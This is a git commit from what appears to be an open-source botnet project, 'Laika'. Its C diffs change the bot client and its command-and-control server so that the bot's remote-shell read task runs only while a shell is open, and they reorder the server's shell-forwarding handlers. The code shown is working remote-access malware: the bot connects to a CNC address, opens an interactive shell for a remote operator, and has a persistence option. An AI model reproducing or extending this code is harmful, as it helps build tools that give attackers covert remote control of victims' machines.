Bot: Only run shell task when shell is open

- since the shell task is only ran when the shell is open, i decreased the delta to 50ms. this should improve latancy while improving performance for 99% of the time. yay!
This commit is contained in:
CPunch 2022-04-14 12:11:29 -05:00
parent 9694ae67d8
commit dac99ddd85
8 changed files with 77 additions and 57 deletions

View File

@ -13,15 +13,17 @@ struct sLaika_shell;
struct sLaika_bot {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_taskService tService;
struct sLaika_peer *peer;
struct sLaika_shell *shell;
struct sLaika_task *shellTask;
};
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);

View File

@ -3,6 +3,8 @@
#include <stddef.h>
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell;
@ -18,4 +20,6 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
#endif

View File

@ -9,6 +9,7 @@
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
@ -37,6 +38,9 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
/* start shell task */
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
return shell;
}
@ -47,6 +51,10 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
bot->shell = NULL;
laikaM_free(shell);
/* stop shell task */
laikaT_delTask(&bot->tService, bot->shellTask);
bot->shellTask = NULL;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {

View File

@ -58,8 +58,6 @@ struct sLaika_bot *laikaB_newBot(void) {
char *tempINBuf;
size_t _unused;
bot->shell = NULL;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
@ -69,6 +67,12 @@ struct sLaika_bot *laikaB_newBot(void) {
(void*)bot
);
laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
bot->shell = NULL;
bot->shellTask = NULL;
/* generate keypair */
if (sodium_init() < 0) {
laikaB_freeBot(bot);
@ -112,6 +116,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaP_cleanPList(&bot->pList);
laikaS_freePeer(bot->peer);
laikaT_cleanTaskService(&bot->tService);
/* clear shell */
if (bot->shell)
@ -145,16 +150,19 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
LAIKA_ERROR("failed to gen session key!\n");
}
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
bool laikaB_poll(struct sLaika_bot *bot) {
struct sLaika_pollEvent *evnt;
int numEvents;
/* flush any events prior (eg. made by a task) */
laikaP_flushOutQueue(&bot->pList);
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
evnt = laikaP_poll(&bot->pList, laikaT_timeTillTask(&bot->tService), &numEvents);
if (numEvents == 0) /* no events? timeout was reached */
/* no events? timeout was reached */
if (numEvents == 0) {
laikaT_pollTasks(&bot->tService);
return false;
}
laikaP_handleEvent(evnt);

View File

@ -7,15 +7,6 @@
#include "shell.h"
#include "persist.h"
struct sLaika_taskService tService;
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
if (bot->shell)
laikaB_readShell(bot, bot->shell);
}
int main(int argv, char *argc[]) {
struct sLaika_bot *bot;
@ -27,25 +18,17 @@ int main(int argv, char *argc[]) {
#endif
bot = laikaB_newBot();
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
LAIKA_TRY
/* connect to test CNC */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
laikaT_pollTasks(&tService);
}
laikaB_poll(bot);
}
LAIKA_TRYEND
/* bot was killed or it threw an error */
laikaT_cleanTaskService(&tService);
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
sleep(5);

View File

@ -49,4 +49,10 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* write to shell */
laikaB_writeShell(bot, shell, buf, sz);
}
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
laikaB_readShell(bot, bot->shell);
}

View File

@ -125,6 +125,9 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
return NULL;
}
/* start shell task */
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
return shell;
}
@ -146,6 +149,10 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* free shell struct */
laikaM_free(shell);
bot->shell = NULL;
/* stop shell task */
laikaT_delTask(&bot->tService, bot->shellTask);
bot->shellTask = NULL;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {

View File

@ -57,38 +57,6 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc;
uint8_t _res = laikaS_readByte(&peer->sock);
if (bInfo->shellAuth == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
bInfo->shellAuth = NULL;
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
uint8_t id;
if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
laikaS_read(&peer->sock, (void*)buf, sz);
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA);
laikaS_write(&bInfo->shellAuth->sock, buf, sz);
laikaS_endVarPacket(bInfo->shellAuth);
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
@ -143,6 +111,38 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
}
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc;
uint8_t _res = laikaS_readByte(&peer->sock);
if (bInfo->shellAuth == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
bInfo->shellAuth = NULL;
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
uint8_t id;
if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
laikaS_read(&peer->sock, (void*)buf, sz);
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA);
laikaS_write(&bInfo->shellAuth->sock, buf, sz);
laikaS_endVarPacket(bInfo->shellAuth);
}
/* =============================================[[ Packet Tables ]]============================================== */
#define DEFAULT_PKT_TBL \
@ -440,8 +440,10 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT)
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) {
LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing);
laikaC_killPeer(cnc, peer);
}
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {